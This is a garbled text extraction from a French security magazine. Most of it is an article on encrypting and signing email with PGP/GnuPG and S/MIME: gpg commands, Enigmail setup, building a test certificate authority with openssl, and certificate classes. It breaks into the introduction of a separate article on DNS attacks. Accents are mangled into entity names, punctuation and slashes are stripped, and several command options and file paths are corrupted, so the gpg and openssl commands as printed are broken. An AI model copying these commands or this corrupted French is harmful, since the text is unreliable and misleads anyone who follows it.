(voir encadreacute et Figure 1) La fonction de hachage utili-seacutee par deacutefaut est le SHA-1

Le standard OpenPGP a lavantage de permettre une grande modulariteacute dans le contenu de la cleacute il est en effet possible dajouter plusieurs UID au sein dune mecircme cleacute donc dajouter plusieurs adresses mail ce qui eacutevite de multiplier le nombre de cleacutes Il est aussi possible dajouter des sous-cleacutes une photo changer le mot de passe de la cleacute priveacutee changer la date dexpiration ou encore modifier les preacutefeacuterences de la cleacute en terme de chiffrement hachage compres-sion

La diffusion des cleacutes publiques se fait par linter-meacutediaire de serveurs de cleacutes PGP publiques Ainsi

envoi dun mail signeacute et chiff reacute

Chiff rement

1 On geacutenegravere la cleacute de session et on chiff re le texte avec2 On ajoute le texte chiff reacute dans le mail3 Bob prend la cleacute public de Alice pour chiff rer la cleacute de session4 Il ajoute la cleacute de session dans le mail

Signature

1 Il hache le corps du texte2 Il chiff re le digest(hash) avec sa cleacute priveacutee pour creacuteer la signature3 Il ajoute la signature dans le mail4 Il envoi le mail agrave Alice

Deacutechiff rement

1 Alice deacutechiff re la cleacute de session avec sa cleacute priveacutee2 Elle deacutechiff re le message avec la cleacute de session

Veacuterifi cation signature

1 Elle deacutechiff re la signature avec la cleacute public de Bob 11 Elle obtient le hash que Bob avait fait du corps du message2 Alice hash le message deacutechiff reacute preacuteceacutedemment3 Si les condensas (hash) sont identiques alors la signature est valide

Figure 1 Envoi dun mail signeacute et chiff reacute

6201030

Seacutecuriteacute reacuteSeaux

canisme central est la signature des cleacutes Le principe est de signer avec sa cleacute priveacutee la cleacute publique de quel-quun dont on confirme lidentiteacute suite agrave une rencontre physique ou au cours dune Signing Party

Il existe trois grandes situations pour lesquelles PGP accorde sa confiance agrave une cleacute

bull On a signeacute la cleacute de quelquun directement ou in-directement (si on agrave configureacute notre cleacute avec un ni-veau de confiance maximum ce qui parait normal)

bull Notre cleacute et la cleacute du destinataire est signeacute par une 3egraveme personne(tiers) agrave laquelle on a accordeacute le ni-veau de confiance maximum

bull Par reacuteaction en chaicircne on agrave accordeacute notre confian-ce agrave la personne en accordant le niveau de confian-ce maximum agrave une personne qui la signeacute)

bull NoteDans gpg on peut configurer le trust-model par deacutefaut cest le Web Of Trust ci-dessus mais il en existe dautres tels que le direct ou la validiteacute dune cleacute nest pas calculeacutee avec le Web Of Trust mais deacutefinie par lutilisateur ou encore le always qui ne tient pas compte du Web Of Trust Ainsi si la si-gnature est bonne la cleacute est de confiance sinon elle ne lest pas

risques lieacutes agrave la technologie PGPLe principal risque lieacute agrave PGP est la diffusion de la cleacute En effet nimporte qui peut creacuteer une cleacute PGP

avec une adresse mail quil ne possegravede pas et len-voyer sur un serveur de cleacute publique Ce pheacutenomegrave-ne dusurpation didentiteacute est le principal risque car un mail chiffreacute avec une cleacute usurpeacutee sera lisible par lusurpateur en supposant quil ait accegraves agrave la boite aux lettres eacutelectronique ou quil soit apte agrave intercep-ter les mails en amont Dans ce cas lagrave rien nem-pecircche lusurpateur de deacutechiffrer le mail le chiffrer agrave nouveau avec la bonne cleacute et de le renvoyer agrave la bonne personne ce qui fait finalement penser agrave du man in the middle Cependant en pratique la mise en place de ce genre dattaque doit ecirctre tregraves com-plexe

Le deuxiegraveme inconveacutenient de PGP est labsence de meacutethode pro-active pour veacuterifier la validiteacute dune cleacute Par exemple lorsque lon reacutevoque notre cleacute et quon lenvoie sur un serveur de cleacute celle-ci est reacutevo-queacutee Cependant si nos correspondant ne procegravedent pas veacuterification manuelle(gpg --refresh-keys) de leacutetat de la cleacute alors ils continuerons agrave utiliser une cleacute qui est normalement reacutevoqueacutee Cependant rien ne nous empecircche de mettre cette commande dans un cron-tab ou automatiser la mise agrave jour dune quelconque maniegravere

La meilleure solution contre ces problegravemes reste la communication avec les correspondants y compris lors de la prise de contact pour quil vous transmette lID de sa cleacute ou son fingerprint

Fonctionnement du Web of trust

1 Bob creacutee sa cleacute et lenvoie sur un serveur de cleacute PGP2 Alice veut envoyer un message agrave Bob et teacuteleacutecharge la cleacute Comment ecirctre sucircr que cest bien celle de Bob 3 Dans ce cas Alice a signeacute la cleacute dun ami qui agrave lui mecircme signeacute la cleacute de Bob donc indirectement Alice agrave confi ance dans la cleacute de

Bob et elle pourra chiff rer en toute confi ance des messages pour Bob

Figure 2 Systegraveme de confi ance PGP

6201032

Seacutecuriteacute reacuteSeaux

GnuPG en pratiqueAvant de pouvoir eacutechanger une quelconque cleacute il faut dabord la creacutee Voici comment creacuteer un couple de cleacutes et quelques informations pour ladministrer

Avant de commencer il faut savoir que certains lo-giciels et plugins permettent de creacuteer et dadministrer les cleacutes Cela reste cependant plus instructif de le faire manuellement

De plus il faut savoir que le trousseau de cleacutes de lutili-sateur et toutes les cleacutes teacuteleacutechargeacutees se trouvent dans le dossier gnupg du homedir Les principaux fichiers sont gpgconf le fichier de configuration qui deacutefinit notamment le serveur de cleacutes par deacutefaut pubringgpg et secringgpg qui contiennent respectivement les cleacutes publiques et les cleacutes priveacutees et enfin trustdbgpg qui contient les informa-tions relatives agrave la confiance des cleacutes En effet il est im-portant de savoir que la confiance que lon accorde aux cleacutes est deacutependante du trousseau de cleacutes Enfin lavan-tage de GPG (par rapport agrave SMIME) est decirctre conccedilu de la mecircme maniegravere que ce soit Mac OS X Windows ou Linux Les cleacutes seront toujours stockeacutees dans le reacuteper-toire utilisateur dans un format binaire Par deacutefaut sous Linux gpg est installeacute avec la distribution Pour Windows il faut se procurer le logiciel et ajouter gpgexe dans le path Pour Mac il existe un portage de gpg qui sappelle MacGPG mais son fonctionnement est identique

Pour creacuteer une cleacute en console rien de plus simple

gpg ndashgen-key

Il suffit de suivre les instructions pour le choix du chiffrement laisser par deacutefaut DSA et Elgamal en-

suite vous pouvez agrandir la taille de la cleacute si el-le ne vous convient pas Ne vous inquieacutetez pas sil vous est demandeacute dagiter la souris et dap-puyer sur les touches de votre clavier Il a besoin au moins au deacutebut de geacuteneacuterer des nombres aleacutea-toires pour la creacuteation de la cleacute Ceci fait votre pai-re de cleacutes alors elles se trouvent dans votre trous-seau de cleacutes dans votre homedir Les commandes de bases sont

gpg ndashlist-key et gpg --list-secret-key qui liste respec-tivement toutes les cleacutes publiques et toutes les cleacutes pri-veacutees du trousseau de cleacutes (keyring)

gpg ndashlist-sigs permet de lister toutes les signatures des cleacutes ou de la cleacute speacutecifieacutee

gpg ndashexport monuid permet dexporter la paire de cleacutes speacutecifieacutee(par deacutefaut sur la sortie standard)

gpg ndashedit-key monuid permet deacutediter la cleacute identifieacutee par monuid

Une fois le prompt afficheacute tapez help et de nombreu-ses options soffrent agrave vous sachant quil faudra entrer le mot de passe de la cleacute priveacutee pour les opeacuterations tou-chant directement la cleacute

Se pose alors la question comment on teacuteleacutecharge les cleacutes de nos correspondants et comment met-on agrave dis-position notre cleacute publique La meacutethode standard est dutiliser un serveur de cleacute qui soccupera de reacutepliquer cette cleacute sur dautre serveurs

Pour teacuteleacutecharger une cleacute si lon connaicirct deacutejagrave lidenti-fiant de la cleacute on peut utiliser

gpg ndashkeyserver pgpmitedu ndashrecv-keys [uid] pour la teacuteleacute-charger On peut cependant la teacuteleacutecharger du serveur que lon veut

Figure 3 Menu de gestion des cleacutes

chiffrement des mails

hakin9orgfr 33

Dans le cas eacutecheacuteant il existe une alternative

gpg ndashkeyserver pgpmitedu ndashsearch-keys [recherche]

Sachant que la recherche seffectue sur le nom ladresse mail et lUID de la cleacute

Maintenant on va pouvoir enfin envoyer des mails chiffreacutes et signeacutes

impleacutementations dans les MuaQuelles sont maintenant les diffeacuterentes impleacutementations de gpg dans les clients de messageries Celle auquel-le on va sinteacuteresser tout particuliegraverement est Enig-mail Enigmail est un plugin pour Thunderbird et a donc lavantage de fonctionner sur Windows Linux et Mac Il en existe cependant un pour Windows GPG4Win qui inclus un gestionnaire de cleacutes un plugin pour Outlook 2003 un logiciel pour le chiffrement de fichiers et gegravere par la mecircme occasion les certificats x509 Sous Linux GPG est installeacute par deacutefaut sur la plupart des distribu-tions et les clients de messageries tel que Kmail ou Evolution gegraverent nativement sans plugin le PGP Pour ce qui est de Mac il existe un portage de GnuPG appeleacute MacGPG un logiciel de gestion des cleacutes appeleacute GPG Keychain et un plugin pour Mail appeleacute GPGMail

Enfin il est inteacuteressant de noter quil existe un plu-gin pour Firefox permettant de faire du chiffrement PGP

dans les webmails Il sappelle FireGPG mais nest mal-heureusement plus supporteacute depuis le 7 Juin 2010 Nous allons donc nous inteacuteresser au plugin Enigmail qui est de loin le plus eacutevolueacute et qui permet une adminis-tration complegravete de GnuPG

Lors du premier lancement de Thunderbird avec Enig-mail lassistant propose de creacuteer un couple de cleacutes si on la possegravede deacutejagrave il suffit dignorer lassistant Deux menus sont importants OpenPGPGestion des Clefs qui permet dimporter une cleacute chercher une cleacute sur un serveur signer une cleacute afficher les proprieacuteteacutes dune cleacute ou encore de modifier son niveau de confiance (voir Fi-gure 3)

Le deuxiegraveme eacuteleacutement important est la configuration quil vaut mieux eacuteviter de bidouiller sans connaicirctre ce-pendant une option est tregraves inteacuteressante agrave activer Cet-te option se trouve dans OpenPGPPreacutefeacuterences onglet Serveur de clefs apregraves avoir cliqueacute sur le mode expert cest loption de teacuteleacutechargement automatique des clefs lors de la reacuteception dun message signeacute dont on ne pos-segravede pas la cleacute publique (voir Figure 4)

La derniegravere eacutetape avant de pouvoir signer des mails est dassocier une cleacute agrave un compte pour cela il faut aller dans les proprieacuteteacutes du compte (account settings) activer OpenPGP pour ce compte et choi-sir la bonne cleacute (ou laisser le choix automatique par ladresse mail)

Figure 4 Activation de loption de teacuteleacutechargement automatique

6201034

Seacutecuriteacute reacuteSeaux

Il est maintenant possible de signer des mails avec PGP et de chiffrer si lon possegravede la cleacute pu-blique de notre destinataire On signe un message en cliquant sur le bouton OpenPGP de la fenecirctre de reacutedaction de message Remarque il est preacutefeacuterable de cocher PGPMIME car ceci active le support du PGPMIME(voir terminologie) De cette maniegravere si le client de messagerie du destinataire ne supporte pas lOpenPGP alors la signature ne viendra pas pa-rasiter le contenu du mail car elle se trouvera dans les en-tecirctes(bien quelle puisse apparaicirctre comme piegravece jointe)

SMiMeSMIME pour secure MIME est une extension du stan-dard MIME pour y inclure la signature numeacuterique encap-suleacutee au format MIME Il est donc plus particuliegraverement conccedilu pour la signature et le chiffrement des mails Les certificats SMIME ou certificats personnels(voir chapi-tre suivant) sont des certificats fondeacutes sur les certifi-cats x509 Le x509 est un format standard de certificat eacutelectronique il introduit certains concepts comme les listes de reacutevocations Comme tout certificat x509 les certificats SMIME sarticulent autour dune autoriteacute de certification ou CA(Certification Authority) qui deacutelivre le

creacuteation dune autoriteacute de certifi cationIl est tregraves simple de creacuteer des certifi cats auto-signeacutes avec OpenSSL le plus simple est dutiliser le script Perl inclus avec OpenSSL pour creacuteer des certifi cats CApl facilementCependant il ne permet pas une confi guration du CA il est donc preacutefeacuterable den recreacuteer un Voici les diff eacuterentes eacutetapes Il faut dabord creacuteer larborescence des dossiers et des fi chiers

On a larborescence de base il faut ensuite copier le opensslcnf dans le dossier pour pouvoir personnaliser notre autoriteacute de certifi -cationcp etcsslopensslcnf monACIl faut cependant modifi er une ligne dans le fi chierdir = demoCA en dir = On peut donc maintenant modifi er le opensslcnf pour modifi er le comportement du CA cest agrave dire la longueur des cleacutes par deacutefaut ajout de la gestion des SAN pour les certifi cats serveurs etcAttention la confi guration du fi chier opensslcnf est un peu deacutelicate et peut neacutecessiter de lexpeacuterience pour comprendre son fonctionnementIl ne reste plus quagrave geacuteneacuterer le certifi cat du CA qui servira agrave signer les autres certifi catsOn geacutenegravere la cleacute priveacuteeopenssl genrsa -aes256 -out monACprivatecakeypem 2048On geacutenegravere le certifi cat agrave partir de la cleacute priveacuteeopenssl req -new -x509 -days 365 -key monACprivatecakeykey -out monACprivatecacertpemLe CA ne sera valide quun an avec cette commandeIl ne reste plus qua creacuteer le certifi cat utilisateuropenssl genrsa -out monACprivatecuser-priveepem 2048On creacutee la CSR qui sera soumise agrave lautoriteacute de certifi cation que lon vient de creacuteer openssl req -new -nodes -key monACprivateuser-priveepem -out monACnewcertscsrpemLe CA doit maintenant signer la CSR pour geacuteneacuterer le certifi cat openssl ca -in monACnewcertscsrpem -out monACcertsuser-publicpem -keyfi le monACprivatecakeypem -cert monAC

privatecacertpem -confi g monACopensslcnfIl est important de preacuteciser le fi chier de confi guration dans lequel sera lu les informations par deacutefaut dureacutee de validiteacute etc Si rien nest preacuteciseacute le fi chier de confi guration utiliseacute est etcsslopensslcnfNote pour affi cher ce que permet le certifi cat il faut faire openssl x509 -purpose -in certifi catpem -nooutPour rendre le certifi cat utilisable il ne reste plus qua le convertir en PKCS 12openssl pkcs12 -export -in monACcertsuser-publicpem -inkey monACprivateuser-priveepem -out certifi catp12Ceci est donc une meacutethode rapide et effi cace de creacuteer des certifi cats auto-signeacutes Il est aussi possible de mettre en place une ar-chitecture beaucoup plus complexe avec cette fois-ci un vrai PKI Il existe un grand nombre de logiciels permettant de mettre en place un PKI avec reacutepondeur OCSP gestion des listes de reacutevocations etc Pour cela il faut se tourner vers EJBCA OpenCA ou enco-re NewPKI

listing 1 Creacuteation dune arborescence pour une autoriteacute de certifi cation

mkdir monAC

mkdir monACcerts

monACnewcerts

monACprivate

echo 01 gt monACserial

touch monACindextxt

chiffrement des mails

hakin9orgfr 35

certificat gegravere les reacutevocations via la parution reacuteguliegravere de listes de reacutevocations et la mise en place dun service de reacutepondeur OCSP

caracteacuteristiques techniquesTout comme PGP SMIME utilise le plus souvent un systegraveme de chiffrement asymeacutetrique RSA Les algo-rithmes de chiffrement symeacutetriques utiliseacutes sont le RC4 et le 3DES

La fonction de hachage principale utiliseacutee est la mecirc-me que pour GPG cest agrave dire SHA-1 Cependant SMIME diverge sur le codage utiliseacute qui est le Base64 conformeacutement a MIME alors que historiquement PGP utilise le ASCII Armor qui diffegravere un peu dans son fonc-tionnement

Tout les certificats x509 peuvent se trouver de deux maniegraveres diffeacuterentes soit en DER format binaire soit en PEM(plus reacutepandus) qui est du DER encodeacute en Base64 avec un marqueur de deacutebut et de fin tel que ----BEGIN CERTIFICATE----- et -----END CERTIFICATE-----

A linverse de PGP pour SMIME il nexiste pas de meacutethode preacutedeacutefinie pour la diffusion dun certificat Ce-pendant lorsque lon signe un mail et quon lenvoie le certificat est automatiquement ajouteacute dans les en-tecirc-tes MIME pour permettre au destinataire de veacuterifier la signature A partir de lagrave le comportement du client de messagerie peut diffeacuterer Thunderbird par exemple im-porte le certificat dans son trousseau de certificats lors-que celui-ci est valide

Il faut donc deacutejagrave posseacuteder le certificat pour chiffrer un mail pour quelquun ou alors ce dernier nous envoie dabord un mail signeacute et valide

Veacuterification certificatLe modegravele de veacuterification utiliseacute pour les certificats x509 et donc les certificats SMIME est un modegravele centraliseacute avec pour point central un PKI ou IGC pour infrastruc-ture de gestion des cleacutes

La veacuterification dun certificat par le client de messa-gerie lors de la reacuteception dun mail se deacuteroule comme suit

bull Le client de messagerie veacuterifie que la signature est valide avec le certificat de lexpeacutediteur(inclus dans les en-tecirctes)

bull Il fait des veacuterifications simples telles que la veacuterifica-tion de la date de validiteacute du certificat

bull Il cherche dans le champ certificate issuer le certi-ficat de lautoriteacute de certification signataire et veacuterifie lempreinte du certificat pour ecirctre sucircr quil agrave bien eacuteteacute signeacute par celui-ci Sil ne possegravede pas pas le certifi-cat du signataire il remonte dans la chaicircne pour es-sayer de trouver un certificat de confiance Sil nen possegravede aucun alors le certificat nest pas signeacute par une autoriteacute de confiance

bull Enfin selon la configuration du client de messa-gerie et dans le cas oucirc le certificat de lexpeacutediteur preacutecise une adresse OCSP alors celui-ci peut ef-fectuer une requecircte au serveur OCSP de lautoriteacute de certification pour veacuterifier quil nest pas reacutevoqueacute Le serveur reacutepond soit unknown soit revoked soit good

Si lensemble de la proceacutedure est conforme alors le certificat est valide

Figure 5 La chaine de certification

6201036

Seacutecuriteacute reacuteSeaux

Lorsque lon utilise des certificats auto-signeacutes leacutechec se situera donc dans la recherche de lautoriteacute de certi-fication signataire

comment se procurer un certifi cat Il existe un certains nombre de classes pour les certifi-cats personnels (voir chapitre suivant) cependant pour un usage personnel les certificats de classe 1 restent les plus adapteacutes dautant plus que lon peut sen procu-rer gratuitement Voici diffeacuterents liens

InstantSSL une autoriteacute intermeacutediaire issue de Co-modo

httpssecureinstantsslcomproductsfrontpagearea=SecureEmailCertificateampcurrency=EURampregion=Europeampcountry=FRampentryURL=http3AwwwinstantsslcomampreferrerURL=http3Awwwgooglefrsearch3Fhl3Dfr26q3Dinstantssl26aq3Df26aqi3Dg126aql3D26oq3D26gs_rfai3D

TBS httpswwwtbs-internetcomphpHTMLcommande

phpp=2ampid=106Secoriohttpssecurecomodonetproductsfrontpageap=S

ecorioamparea=SecureEmailCertificateampproduct=9ampdays=365

A noter quil est tout agrave fait possible de signer soi-mecircme un certificat ce qui peut ecirctre inteacuteressant pour un usage interne agrave condition de diffuser le certificat signataire autrement dit celui de lautoriteacute de certifica-tion creacutee

Suivez la proceacutedure de creacuteation du certificat elle est extrecircmement simpleIl y a juste une veacuterification de ladresse mail Par ailleurs noubliez pas votre mot de passe de reacutevocation car si vous loubliez vous ne pourrez pas reacutevoquer le certificat sil est compromis Le certificat est directement ajouteacute dans le trousseau de certificat de votre navigateur Web lorsque lon cli-que sur le lien pour le reacutecupeacuterer Donc si vous voulez limporter dans un client de messagerie il faudra lex-porter puis le reacuteimporter dans le client en le proteacutegeant au passage par un mot de passe Le gestionnaire de certificat dans Firefox se trouve dans Editionpreacutefeacuteren-cesAvanceacute onglet chiffrement bouton afficher les cer-tificats

A noter que dans cette proceacutedure la cleacute priveacutee est geacuteneacutereacutee par le navigateur qui lenvoie agrave lautoriteacute de certification pour signature En ce qui concerne un certificat SMIME agrave linverse de PGP une fois le cer-tificat creacutee on ne peut pas le modifier la seule chose que lon peut faire en terme dadministration est le reacutevoquer aupregraves de lautoriteacute de certification signa-taire

A propos des formats de certificats Un mecircme certi-ficat peut se trouver sous plusieurs formes Par sou-ci de simpliciteacute les certificats personnels se trouvent dans le format PKCS12 ougrave la cleacute publique et la cleacute priveacutee sont inclues dans le mecircme fichier Cependant lorsque lon envoi un mail signeacute le certificat ajouteacute dans les en-tecirctes MIME est au format PKCS7 qui lui ne contient que la cleacute publique et heureusement (voir lien pour les diffeacuterents format pkcs) Le format PKCS a eacuteteacute eacutelaboreacute par la socieacuteteacute RSA qui nest pas un or-ganisme de normalisation Le format PKCS nest donc pas une norme Cependant lIETF a normaliseacute un stan-dard cryptographique CMS qui lui est baseacute sur la syn-taxe du PKCS

utiliser un certifi cat dans un client de messagerieLa meacutethode la plus simple pour utiliser un certificat SMIME est de limporter dans le client de messagerie Cependant agrave plus grande eacutechelle il est envisageable de mettre en place un passerelle de chiffrement et de signature des mails comme Djigzo Djigzo par exemple permet le chiffrement et la signature automatique des mails par simple ajout dun mot cleacute dans le sujet du mail et sintercale par exemple entre le serveur SMTP inter-ne et lexteacuterieur

Comme indiqueacute preacuteceacutedemment quasiment tout les clients de messageries impleacutementent SMIME nati-vement il suffit donc pour la plupart daller dans les proprieacuteteacutes du compte de messagerie et dimporter le certificat au format PKCS12 Petite variante pour Mac OS avec Mail ou limportation ne se fait pas dans Mail mais dans le keychain access Mail lors de son lan-cement veacuterifie automatiquement sil existe un certifi-cat au nom de ladresse de messagerie dans le ges-

terminologie

bull Un PKI ou IGC est une infrastructure de gestion des cleacutes Autour de cela tournent deux entiteacutes principales Le CA ou autoriteacute de certifi cation a pour mission de signer les CSR et le RA pour Autoriteacute denregistrement soccupe de reacutecupeacuterer les demandes de certifi cats il creacutee le certifi cat pour le faire signer Les autoriteacutes de certifi cations admi-nistrent donc un PKI et mettent agrave disposition leurs servi-ces pour fournir des certifi cats valides dans les clients de messagerie avec lesquels ils ont des accords Note CA dans son utilisation courante deacutesigne lautoriteacute de certifi -cation en tant que fournisseur de service(Globasign add-Trust)

bull OCSP pour Online Certifi cate Statut Protocol est un pro-tocole standardiseacute par lIETF et permet de veacuterifi er la va-liditeacute dun certifi cat en ligne Il permet de compenser le manque de reacuteactiviteacute des listes de reacutevocations(CRL) Un serveur OCSP(aussi appeleacute reacutepondeur) eacutecoute sur le port 80 ce qui permet de fonctionner dans la plupart du tem-ps avec le proxy des entreprises Ainsi nul besoin de com-plexifi er les regravegles de fi ltrage

bull PGPMIME est une eacutevolution du PGP inline ougrave signature et message chiff reacute se trouvent dans le corps du mail PGPMIME permet une meilleure compatibiliteacute de PGP avec le standard MIME notamment avec les types MIMES(mime-types) et le codage Il est donc preacutefeacuterable lorsque cela est possible dutiliser PGPMIME

6201038

Seacutecuriteacute reacuteSeaux

tionnaire de cleacutes Si cest le cas alors des boutons pour chiffrer et signer apparaissent lors de la reacutedac-tion dun message Pour la gestion des webmail et en particulier Gmail il existe un plugin pour Firefox ap-peleacute Gmail SMIME qui fonctionne assez mal pour la signature et qui est incapable de veacuterifier la signature dun mail signeacute

Pour ce qui est de lOCSP il ne faut surtout pas oublier de lactiver si cela est possible Par exemple pour Thunderbird 3 il est activeacute par deacutefaut ce qui nest pas le cas pour le Thunderbird 2 Pour les amateurs de Outlook 2007 il faudra teacuteleacutecharger un plugin pour geacuterer lOCSP

certificat et identiteacute numeacuteriqueTous les certificats sont baseacutes sur la norme de cer-tificat X509 creacutee par lUnion Internationale des Teacuteleacutecommunication(UIT) Les certificats sont principa-lement utiliseacutes pour la seacutecurisation des eacutechanges sur les sites web avec SSLTLS on appelle ccedila des certifi-cats serveurs Les certificats utiliseacutes pour SMIME sont appeleacutes certificats personnels Mais il en existe des diffeacuterents pour drsquoautres utilisations (voir ci-dessous)

Diff eacuterents certifi catsPour une autoriteacute de certification racine donneacutee il peut exister un certains nombres dautoriteacutes intermeacutediaires Ainsi pour un CA racine donneacute on a un CA intermeacutediai-re pour les certificats serveurs un pour les certificats EV (voir Figure 5) un pour la signature de pdf etc

Certains CA proposent cependant des offres pour ecirctre autoriteacute intermeacutediaire mais le prix de ce genre dof-fre deacutepasse largement le budget de la plupart des en-treprises

Ce que lon appelle chaicircne est la succession des si-gnataires dun certificat racine jusquagrave un certificat uti-lisateur final(end-user) qui lui ne peut pas deacutelivrer de certificat

Voici diffeacuterents types de certificats

bull Personnel Pour la signature de mails ou de docu-ments PDF par exemple

bull Serveur Pour permettre les connexions en SSLTLS HTTPS et autres Il existe des sous clas-se de certificats serveurs

bull Wildcard(joker) permet dobtenir un certificat pour les sous-domaines par exemple pour foofr on peut donc avoir un certificat pour smtpfoofr et pour imapfoofr

bull SAN(Subject Alternative Name) ce type de certifi-cat permet dobtenir un certificat pour deux domai-nes diffeacuterents par exemple foofr et fooeu

bull EV(extented validation) reacutepond agrave une normalisation baseacutee sur une veacuterification plus stricte de lidentiteacute du demandeur

bull Note Il est possible drsquoavoir un certificat reacutepondant agrave plusieurs critegraveres et donc davoir par exemple un certificat SAN Wildcard et EV

bull Deacuteveloppeur (Code Signing) Ce type de certificat permet de signer un logiciel Cest pour cette raison que lorsquun logiciel nest pas signeacute avec ce type de certificat sous Windows un message nous indi-que que le logiciel na pas eacuteteacute signeacute et quil est dori-gine inconnue

les classes de certifi cats personnelsIl existe une classification dans le niveau de confian-ce dun certificat personnel Celle-ci est diviseacutee en plu-sieurs classes que voici

bull Classe 1 Seule ladresse mail du demandeur est veacuterifieacutee Cest plus un identifiant digital (Digital ID) quun systegraveme dauthentification du proprieacutetaire Les certificats de classe 1 sont dailleurs pour la plupart signeacutes de maniegravere automatique ce qui expli-que la rapiditeacute dobtention

bull Classe 2 Veacuterification mail et piegraveces didentiteacute Sa-chant quil existe aussi des sous-cateacutegories person-nel (veacuterification papiers didentiteacute) ou entreprise (veacuteri-fication papiers didentiteacute et appartenance agrave lentrepri-se)

bull Classe 3 Comme la classe 2 mais avec veacuterification de lidentiteacute en face agrave face

bull Classe 3+ Comme la classe 3 mais avec remise du certificat sur support physique

bull Attention ce classement ne correspond agrave aucune norme il peut tout agrave fait varier dune autoriteacute de cer-tification agrave lautre qui pourra par exemple deman-der des piegraveces didentiteacutes mecircme pour un certificat de classe 1 Ces classes permettent juste de mieux distinguer le niveau dauthenticiteacute dun certificat

la valeur juridiquePour ce qui concerne laspect juridique le caractegravere deacute-centraliseacute de PGP rend la valeur des cleacutes nulles En

Sur internet

bull httppgpmitedu ndash Adresse du serveur de cleacute PGP du MIT

bull httpwwwpgpiorg ndash Site international de PGPbull httpwwwgnupgorg ndash Site du GnuPG bull httpwwwdjigzocomindexhtml ndash Site web de la pas-

serelle de chiff rement Djigzobull httpwwwchambersignfrindexjsp ndash Site web dun CA

Franccedilais reconnu par leacutetatbull httpwwwgpg4winorg ndash Site web du projet GPG4Winbull httpwwwlinuxcertifcomman1gpg ndash Manuel de GPG

en Franccedilaisbull httpfrwikipediaorgwikiPublic_Key_Cryptographic_

Standards ndash Diff eacuterents formats PKCSbull httpwwwtelecomgouvfrrubriques-menuentreprises-

economie-numeriquecertifi cats-references-pris-v1catego-ries-familles-certifi cats-references-pris-v-1-506html ndash Au-toriteacutes de certifi cation agreacutees par leacutetat Franccedilais

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

